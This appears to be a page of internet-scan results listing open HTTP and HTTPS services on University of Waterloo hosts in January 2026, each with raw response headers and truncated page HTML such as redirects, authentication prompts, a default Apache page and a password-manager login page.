content="http://localhost:3000/opengraph-image.png?2e0bc232e210f89d"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Next.js and Supabase Starter Kit"/><meta name="twitter:description" content="The fastest way to build apps with Next.js and Supabase"/><meta name="twitter:image:type" content="image/png"/><meta name="twitter:image:width" content="1200"/><meta name="twitter:image:height" content="600"/><meta name="twitter:image" content="http://localhost:3000/twitter-image.png?2e0bc232e210f89d"/><link rel="icon" href="/favicon.ico" type="image/x-icon" sizes="16x16"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body class="__className_188709 antialiased"><div hidden=""><!--$--><!--/$--></div><script>((a,b,c,d,e,f,g,h)=>{let i=document.documentElement,j=["light","dark"];function k(b){var c;(Array.isArray(a)?a:[a]).forEach(a=>{let c="class"===a,d=c&&f?e.map(a=>f[a]||a):e;c?(i.classList.remove(...d),i.classList.add(f&&f[b]?f[b]:b)):i.setAttribute(a,b)}),c=b,h&&j.includes(c)&&(i.style.colorScheme=c)}if(d)k(d);else try{let a=localStorage.getItem(b)||c,d=g&&"system"===a?window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light":a;k(d)}catch(a){}})("class","theme","system",null,["light","dark"],null,true,true)</script><main class="min-h-screen flex flex-col items-center"><div class="flex-1 w-full flex flex-col"><nav class="w-full flex border-b border-b-foreground/10 h-16 sticky"><div class="w-full flex justify-between items-center p-8 px-16 text-sm"><div class="flex gap-5 items-center font-semibold"><a href="/">deliberarts (wip)</a></div><div class="flex gap-5 items-center"><div class="flex gap-2"><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground h-8 rounded-md px-3 text-xs" href="/auth/login">Sign in</a><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:poi
Open service 129.97.7.167:443 · ickok4o0go40kcowsocsow0c.pandora.cs.uwaterloo.ca
2026-01-11 21:05
HTTP/1.1 503 Service Unavailable Alt-Svc: h3=":443"; ma=2592000 Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 11 Jan 2026 21:06:09 GMT Content-Length: 20 Connection: close no available server
Open service 129.97.91.15:443 · wim.math.uwaterloo.ca
2026-01-11 09:16
HTTP/1.1 303 See Other Date: Sun, 11 Jan 2026 09:16:33 GMT Server: Apache Cache-Control: private, max-age=0, must-revalidate Location: https://wim.math.uwaterloo.ca/mellon/login?ReturnTo=https%3A%2F%2Fwim.math.uwaterloo.ca%2F&IdP=http%3A%2F%2Fadfs.uwaterloo.ca%2Fadfs%2Fservices%2Ftrust Content-Length: 434 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 303 See Other <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>303 See Other</title> </head><body> <h1>See Other</h1> <p>The answer to your request is located <a href="https://wim.math.uwaterloo.ca/mellon/login?ReturnTo=https%3A%2F%2Fwim.math.uwaterloo.ca%2F&IdP=http%3A%2F%2Fadfs.uwaterloo.ca%2Fadfs%2Fservices%2Ftrust">here</a>.</p> <hr> <address>Apache Server at wim.math.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.91.15:80 · wim.math.uwaterloo.ca
2026-01-11 09:16
HTTP/1.1 303 See Other Date: Sun, 11 Jan 2026 09:17:11 GMT Server: Apache Cache-Control: private, max-age=0, must-revalidate Location: http://wim.math.uwaterloo.ca/mellon/login?ReturnTo=http%3A%2F%2Fwim.math.uwaterloo.ca%2F&IdP=http%3A%2F%2Fadfs.uwaterloo.ca%2Fadfs%2Fservices%2Ftrust Content-Length: 431 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 303 See Other <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>303 See Other</title> </head><body> <h1>See Other</h1> <p>The answer to your request is located <a href="http://wim.math.uwaterloo.ca/mellon/login?ReturnTo=http%3A%2F%2Fwim.math.uwaterloo.ca%2F&IdP=http%3A%2F%2Fadfs.uwaterloo.ca%2Fadfs%2Fservices%2Ftrust">here</a>.</p> <hr> <address>Apache Server at wim.math.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.206.32:80 · mcgen.uwaterloo.ca
2026-01-11 09:08
HTTP/1.1 301 Moved Permanently Date: Sun, 11 Jan 2026 09:09:31 GMT Server: Apache/2.4.58 (Ubuntu) Location: https://mcgen.uwaterloo.ca/ Content-Length: 319 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://mcgen.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at mcgen.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.206.32:443 · mcgen.uwaterloo.ca
2026-01-11 09:08
HTTP/1.1 401 Unauthorized Date: Sun, 11 Jan 2026 09:08:55 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 466 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 401 Unauthorized <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Unauthorized</title> </head><body> <h1>Unauthorized</h1> <p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at mcgen.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.206.32:80 · mcgen-p01.uwaterloo.ca
2026-01-11 09:08
HTTP/1.1 200 OK
Date: Sun, 11 Jan 2026 09:09:31 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Thu, 29 Jul 2021 23:12:42 GMT
ETag: "2aa6-5c84b3d776d42"
Accept-Ranges: bytes
Content-Length: 10918
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Page title: Apache2 Ubuntu Default Page: It works
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!--
Modified from the Debian original for Ubuntu
Last updated: 2016-11-16
See: https://launchpad.net/bugs/1288690
-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Apache2 Ubuntu Default Page: It works</title>
<style type="text/css" media="screen">
* {
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
}
body, html {
padding: 3px 3px 3px 3px;
background-color: #D8DBE2;
font-family: Verdana, sans-serif;
font-size: 11pt;
text-align: center;
}
div.main_page {
position: relative;
display: table;
width: 800px;
margin-bottom: 3px;
margin-left: auto;
margin-right: auto;
padding: 0px 0px 0px 0px;
border-width: 2px;
border-color: #212738;
border-style: solid;
background-color: #FFFFFF;
text-align: center;
}
div.page_header {
height: 99px;
width: 100%;
background-color: #F5F6F7;
}
div.page_header span {
margin: 15px 0px 0px 50px;
font-size: 180%;
font-weight: bold;
}
div.page_header img {
margin: 3px 0px 0px 40px;
border: 0px 0px 0px;
}
div.table_of_contents {
clear: left;
min-width: 200px;
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.table_of_contents_item {
clear: left;
width: 100%;
margin: 4px 0px 0px 0px;
background-color: #FFFFFF;
color: #000000;
text-align: left;
}
div.table_of_contents_item a {
margin: 6px 0px 0px 6px;
}
div.content_section {
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.content_section_text {
padding: 4px 8px 4px 8px;
color: #000000;
font-size: 100%;
}
div.content_section_text pre {
margin: 8px 0px 8px 0px;
padding: 8px 8px 8px 8px;
border-width: 1px;
border-style: dotted;
border-color: #000000;
background-color: #F5F6F7;
font-style: italic;
}
div.content_section_text p {
margin-bottom: 6px;
}
div.content_section_text ul, div.content_section_text li {
padding: 4px 8px 4px 16px;
}
div.section_header {
padding: 3px 6px 3px 6px;
background-color: #8E9CB2;
color: #FFFFFF;
font-weight: bold;
font-size: 112%;
text-align: center;
}
div.section_header_red {
background-color: #CD214F;
}
div.section_header_grey {
background-color: #9F9386;
}
.floating_element {
position: relative;
float: left;
}
div.table_of_contents_item a,
div.content_section_text a {
text-decoration: none;
font-weight: bold;
}
div.table_of_contents_item a:link,
div.table_of_contents_item a:visited,
div.table_of_contents_item a:active {
color: #000000;
}
div.table_of_contents_item a:hover {
background-color: #000000;
color: #FFFFFF;
}
div.content_section_text a:link,
div.content_section_text a:visited,
div.content_section_text a:active {
background-color: #DCDFE6;
color: #000000;
}
div.content_section_text a:hover {
background-color: #000000;
color: #DCDFE6;
}
div.validator {
}
</style>
</head>
<body>
<div class="main_page">
<div class="page_header floating_element">
<img src="/icons/ubuntu-logo.png" alt="Ubuntu Logo" class="floating_element"/>
<span class="floating_element">
Apache2 Ubuntu Default Page
</span>
</div>
<!-- <div class="table_of_contents floating_element">
<div class="section_header section_header_grey">
TABLE OF CONTENTS
</div>
<div class="table_of_contents_item floating_element">
<a href="#about">About</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#changes">Changes</a>
</div>
<div class="table_of_contents_item floating_elem
Open service 129.97.206.32:443 · mcgen-p01.uwaterloo.ca
2026-01-11 09:08
HTTP/1.1 401 Unauthorized Date: Sun, 11 Jan 2026 09:08:53 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 470 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 401 Unauthorized <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Unauthorized</title> </head><body> <h1>Unauthorized</h1> <p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at mcgen-p01.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.152.6:443 · himrod-reserve.cs.uwaterloo.ca
2026-01-11 07:36
HTTP/1.1 200 OK Date: Sun, 11 Jan 2026 07:36:40 GMT Server: Apache/2.4.52 (Ubuntu) refresh: 0;url=Web? Content-Length: 2 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.152.6:80 · himrod-reserve.cs.uwaterloo.ca
2026-01-11 07:36
HTTP/1.1 301 Moved Permanently Date: Sun, 11 Jan 2026 07:37:18 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://himrod-reserve.cs.uwaterloo.ca/ Content-Length: 343 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://himrod-reserve.cs.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at himrod-reserve.cs.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.134.33:80 · pass.csclub.uwaterloo.ca
2026-01-11 06:12
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://pass.csclub.uwaterloo.ca/ Server: Caddy Date: Sun, 11 Jan 2026 06:13:27 GMT Content-Length: 0
Open service 129.97.134.33:443 · pass.csclub.uwaterloo.ca
2026-01-11 06:12
HTTP/1.1 200 OK Alt-Svc: h3=":443"; ma=2592000 Cache-Control: public, max-age=600 Content-Length: 23142 Content-Security-Policy: default-src 'none'; font-src 'self'; manifest-src 'self'; base-uri 'self'; form-action 'self'; media-src 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-ancestors 'self' chrome-extension://nngceckbapebfimnlniiiahkandclblb chrome-extension://jbkfoedolllekgbhcbcoahefnbanhhlh moz-extension://* ; img-src 'self' data: https://haveibeenpwned.com ; connect-src 'self' https://api.pwnedpasswords.com https://api.2fa.directory https://app.simplelogin.io/api/ https://app.addy.io/api/ https://api.fastmail.com/ https://api.forwardemail.net ; Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: same-origin Date: Sun, 11 Jan 2026 06:12:29 GMT Expires: Sun, 11 Jan 2026 06:22:29 GMT Permissions-Policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=() Referrer-Policy: same-origin Server: Rocket Via: 1.1 Caddy X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Robots-Tag: noindex, nofollow X-Xss-Protection: 0 Connection: close Page title: Vaultwarden Web <!doctype html><html class="theme_light"><head><meta charset="utf-8"/><meta name="viewport" content="width=1010"/><meta name="theme-color" content="#175DDC"/><title page-title>Vaultwarden Web</title><link rel="apple-touch-icon" sizes="180x180" href="images/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="images/favicon-32x32.png"/><link rel="icon" type="image/png" sizes="16x16" href="images/favicon-16x16.png"/><link rel="mask-icon" href="images/safari-pinned-tab.svg" color="#175DDC"/><link rel="manifest" href="cca56971e438d22818d6.json"/><script defer="defer" src="theme_head.6991036cc6ce1ab5eee1.js"></script><link href="styles.f5ed5f8f9da818a932a3.css" rel="stylesheet"></head><body class="layout_frontend"><link rel="stylesheet" href="css/vaultwarden.css"/><app-root><div class="tw-flex tw-flex-col tw-min-h-[100vh]"><div class="tw-pt-5 tw-px-5 tw-fixed"><img class="new-logo-themed !tw-w-[200px]" alt="Vaultwarden"/></div><div class="spinner-container tw-justify-center"><i class="bwi bwi-spinner bwi-spin bwi-3x tw-text-muted" title="Loading" aria-hidden="true"></i></div><div class="tw-relative tw-grow"><div class="tw-hidden md:tw-block [&_svg]:tw-absolute [&_svg]:tw-z-[1] tw-opacity-[.11] [&_svg]:tw-bottom-0 [&_svg]:tw-start-0 [&_svg]:tw-w-[35%] [&_svg]:tw-max-w-[450px]"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 501 226"><g clip-path="url(#left-a)"><path class="tw-fill-illustration-bg-primary" d="M-71.691 6.821a4 4 0 0 1 4-4h296.5a4 4 0 0 1 4 4v188a4 4 0 0 1-4 4h-296.5a4 4 0 0 1-4-4v-188Z"/><path class="tw-fill-illustration-bg-primary" d="M-48.941 25.821a2 2 0 0 1 2-2h127.5v154h-127.5a2 2 0 0 1-2-2v-150Z"/><path class="tw-fill-illustration-bg-tertiary" d="M80.559 25.82a2 2 0 0 1 2-2h125.5a2 2 0 0 1 2 2v150.001a2 2 0 0 1-2 2h-125.5a2 2 0 0 1-2-2v-150ZM45.871 89.854c0 17.155-13.96 31.062-31.182 31.062-17.221 0-31.182-13.907-31.182-31.062s13.96-31.062 31.182-31.062c17.221 0 31.182 13.907 31.182 31.062Z"/><path class="tw-fill-illustration-bg-tertiary" d="M72.396 153.443a57.243 57.243 0 0 1 4.663 22.604v1.222a2 2 0 0 1-2 2h-118.5a2 2 0 0 1-2-2v-1.222a57.243 57.243 0 0 1 4.662-22.604c3.078-7.167 7.59-13.678 13.277-19.163 5.688-5.485 12.44-9.836 19.871-12.805a63.228 63.228 0 0 1 23.44-4.496 63.227 63.227 0 0 1 23.439 4.496c7.431 2.969 14.183 7.32 19.87 12.805 5.688 5.485 10.2 11.996 13.278 19.163Z"/><path class="tw-fill-illustration-bg-secondary" d="M161.629 57.193c0 9.182-7.579 16.625-16.927 16.625-9.349 0-16.928-7.443-16.928-16.625 0-9.181 7.579-16.625 16.928-16.625 9.348 0 16.927 7.444 16.927 16.625Z"/><path class="tw-fill-illustration-bg-secondary" d="M176.028 89.071a29.33 29.33 0 0 1 2.531 11.894c0 .937-.759 1.696-1.696 1.696h-63.109a1.695 1.695 0 0 1-1.695-1.696c0-4.081.86-8.123 2.531-11.894 1.671-3.77 4.12-7.197 7.207-10.083 3.088-2.886 6.753-5.176 10.787-6.738a35.275 35.275 0 0 1 12.725-2.366c4.366 0 8.69.804 12.724 2.366 4.034 1.562 7.699 3.852 10.787 6.738 3.087 2.886 5.537 6.312 7.208 10.083ZM161.629 134.193c0 9.182-7.579 16.625-16.927 16.625-9.349 0-16.928-7.443-16.928-16.625s7.579-16.625 16.928-16.625c9.348 0 16.927 7.443 16.927 16.625Z"/><path class="tw-fill-illustration-bg-secondary" d="M176.028 165.953a28.993 28.993 0 0 1 2.531 11.821c0 .93-.755 1.684-1.685 1.684h-63.131c-.93 0-1.684-.754-1.684-1.684 0-4.057.86-8.074 2.531-11.821 1.671-3.748 4.12-7.153 7.207-10.021 3.088-2.869 6.753-5.144 10.787-6.696a35.456 35.456 0 0 1 12.725-2.352c4.366 0 8.69.799 12.724 2.352 4.034 1.552 7.699 3.827 10.787 6.696 3.087 2.868 5.537 6.273 7.208 10.021ZM-87.441 199.521h332.5v14.5c0 5.523-4.478 10-10 10h-312.5c-5.523 0-10-4.477-10-10v-14.5Z"/><path class="tw-fill-illustration-outline" fill-rule="evenodd" d="M208.059 21.82a4 4 0 0 1 4 4v150.001a4 4 0 0 1-4 4l-255 .001a4 4 0 0 1-4-4v-150a4 4 0 0 1 4-4l255-.001Zm-255 154.002h1.5a57.23 57.23 0 0 1 4.378-21.706l.284-.673c2.982-6.943 7.31-13.27 12.748-18.646l.529-.517c5.688-5.485 12.44-9.836 19.871-12.805a62.937 62.937 0 0 1 10.036-3.065c-11.113-4.751-18.897-15.747-18.897-28.556 0-17.155 13.96-31.061 31.182-31.062 17.22 0 31.18 13.907 31.1
Open service 129.97.222.20:443 · asianwisdom.uwaterloo.ca
2026-01-11 04:33
HTTP/1.1 200 OK
Date: Sun, 11 Jan 2026 04:30:25 GMT
Server: Apache
Link: <https://asianwisdom.uwaterloo.ca/wp-json/>; rel="https://api.w.org/", <https://asianwisdom.uwaterloo.ca/wp-json/wp/v2/pages/35>; rel="alternate"; type="application/json", <https://asianwisdom.uwaterloo.ca/>; rel=shortlink
Strict-Transport-Security: max-age=31536000; includeSubDomains
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; style-src 'self' 'unsafe-inline' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; img-src 'self' data: *.gravatar.com *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; font-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com; connect-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com *.gravatar.com; frame-src 'self' *.youtube.com *.vimeo.com; object-src 'none'; base-uri 'self'; form-action 'self';
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Page title: Sri Lanka 2020
<!DOCTYPE html>
<html class="no-js" lang="en-US">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="profile" href="http://gmpg.org/xfn/11">
<link rel="pingback" href="https://asianwisdom.uwaterloo.ca/xmlrpc.php">
<title>Sri Lanka 2020</title>
<meta name='robots' content='max-image-preview:large' />
<script>document.documentElement.className = document.documentElement.className.replace("no-js","js");</script>
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='dns-prefetch' href='//s.w.org' />
<link rel="alternate" type="application/rss+xml" title="Sri Lanka 2020 » Feed" href="https://asianwisdom.uwaterloo.ca/feed/" />
<link rel="alternate" type="application/rss+xml" title="Sri Lanka 2020 » Comments Feed" href="https://asianwisdom.uwaterloo.ca/comments/feed/" />
<script type="text/javascript">
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.1.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.1.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/asianwisdom.uwaterloo.ca\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.8.12"}};
!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p||!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([10084,65039,8205,55357,56613],[10084,65039,8203,55357,56613])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source||{}).concatemoji?c(n.concatemoji):n.wpemoji&&n.twemoji&&(c(n.twemoji),c(n.wpemoji)))}(window,document,window._wpemojiSettings);
</script>
<style type="text/css">
img.wp-smiley,
img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 .07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
</style>
<link rel='stylesheet' id='wp-block-library-css' href='https://asianwisdom.uwaterloo.ca/wp-includes/css/dist/block-library/style.min.css?ver=5.8.12' type='text/css' media='all' />
<link rel='stylesheet' id='minimer-style-css' href='https://asianwisdom.uwaterloo.ca/wp-content/themes/minimer/style.css?ver=5.8.12' type='text/css' media='all' />
<style id='minimer-style-inline-css' type='text/css'>
body { font-family: "Roboto", Arial, sans-serif; }
</style>
<link rel='stylesheet' id='minimer-responsive-css' href='https://asianwisdom.uwaterloo.ca/wp-content/themes/minimer/responsive.css?ver=5.8.12' type='text/css' media='all' />
<link rel='stylesheet' id='minimer-font-awesome-css' href='https://asianwisdom.uwate
Open service 129.97.222.20:80 · asianwisdom.uwaterloo.ca
2026-01-11 04:33
HTTP/1.1 302 Found Date: Sun, 11 Jan 2026 04:31:04 GMT Server: Apache Location: https://asianwisdom.uwaterloo.ca/ Content-Length: 217 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://asianwisdom.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · tqt.uwaterloo.ca
2026-01-11 02:32
HTTP/1.1 301 Moved Permanently Date: Sun, 11 Jan 2026 02:32:54 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://tqt.uwaterloo.ca/ Content-Length: 233 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://tqt.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · tqt.uwaterloo.ca
2026-01-11 02:32
HTTP/1.1 302 Found Date: Sun, 11 Jan 2026 02:32:15 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/transformative-quantum-technologies Content-Length: 240 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://uwaterloo.ca/transformative-quantum-technologies">here</a>.</p> </body></html>
Open service 2620:101:f000:4901:c5c:0:caff:e12e:443 · ness.uwaterloo.ca
2026-01-11 01:17
HTTP/1.1 200 OK Date: Sun, 11 Jan 2026 01:17:20 GMT Server: Apache/2.4.65 (Debian) Strict-Transport-Security: max-age=26784000 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 31 May 2024 04:08:23 GMT ETag: "329-619b8227da836" Accept-Ranges: bytes Content-Length: 809 Vary: Accept-Encoding Content-Type: text/html Page title: NESS UW <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="The official website of the Nanotechnology Engineering Student Society at the University of Waterloo"/><link rel="apple-touch-icon" href="logo192.png"/><link rel="manifest" href="manifest.json" crossorigin="use-credentials"/><link href="https://fonts.googleapis.com/css2?family=Inter:ital,wght@0,400&display=swap" rel="stylesheet"/><title>NESS UW</title><script defer="defer" src="./static/js/main.c7a83f85.js"></script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div><div id="Kenny is cool!"></div></body></html>
Open service 129.97.134.17:443 · ness.uwaterloo.ca
2026-01-11 01:17
HTTP/1.1 200 OK Date: Sun, 11 Jan 2026 01:17:20 GMT Server: Apache/2.4.65 (Debian) Strict-Transport-Security: max-age=26784000 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 31 May 2024 04:08:23 GMT ETag: "329-619b8227da836" Accept-Ranges: bytes Content-Length: 809 Vary: Accept-Encoding Content-Type: text/html Page title: NESS UW <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="The official website of the Nanotechnology Engineering Student Society at the University of Waterloo"/><link rel="apple-touch-icon" href="logo192.png"/><link rel="manifest" href="manifest.json" crossorigin="use-credentials"/><link href="https://fonts.googleapis.com/css2?family=Inter:ital,wght@0,400&display=swap" rel="stylesheet"/><title>NESS UW</title><script defer="defer" src="./static/js/main.c7a83f85.js"></script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div><div id="Kenny is cool!"></div></body></html>
Open service 129.97.134.17:80 · ness.uwaterloo.ca
2026-01-11 01:17
HTTP/1.1 301 Moved Permanently Date: Sun, 11 Jan 2026 01:18:00 GMT Server: Apache/2.4.65 (Debian) Location: https://ness.uwaterloo.ca/ Content-Length: 317 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://ness.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.65 (Debian) Server at ness.uwaterloo.ca Port 80</address> </body></html>
Open service 2620:101:f000:4901:c5c:0:caff:e12e:80 · ness.uwaterloo.ca
2026-01-11 01:17
HTTP/1.1 301 Moved Permanently Date: Sun, 11 Jan 2026 01:17:59 GMT Server: Apache/2.4.65 (Debian) Location: https://ness.uwaterloo.ca/ Content-Length: 317 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://ness.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.65 (Debian) Server at ness.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.7.167:443 · deliberarts.pandora.cs.uwaterloo.ca
2026-01-10 21:26
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Sat, 10 Jan 2026 21:27:10 GMT
Link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2"
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
X-Powered-By: Next.js
Connection: close
Transfer-Encoding: chunked
Page title: Next.js and Supabase Starter Kit
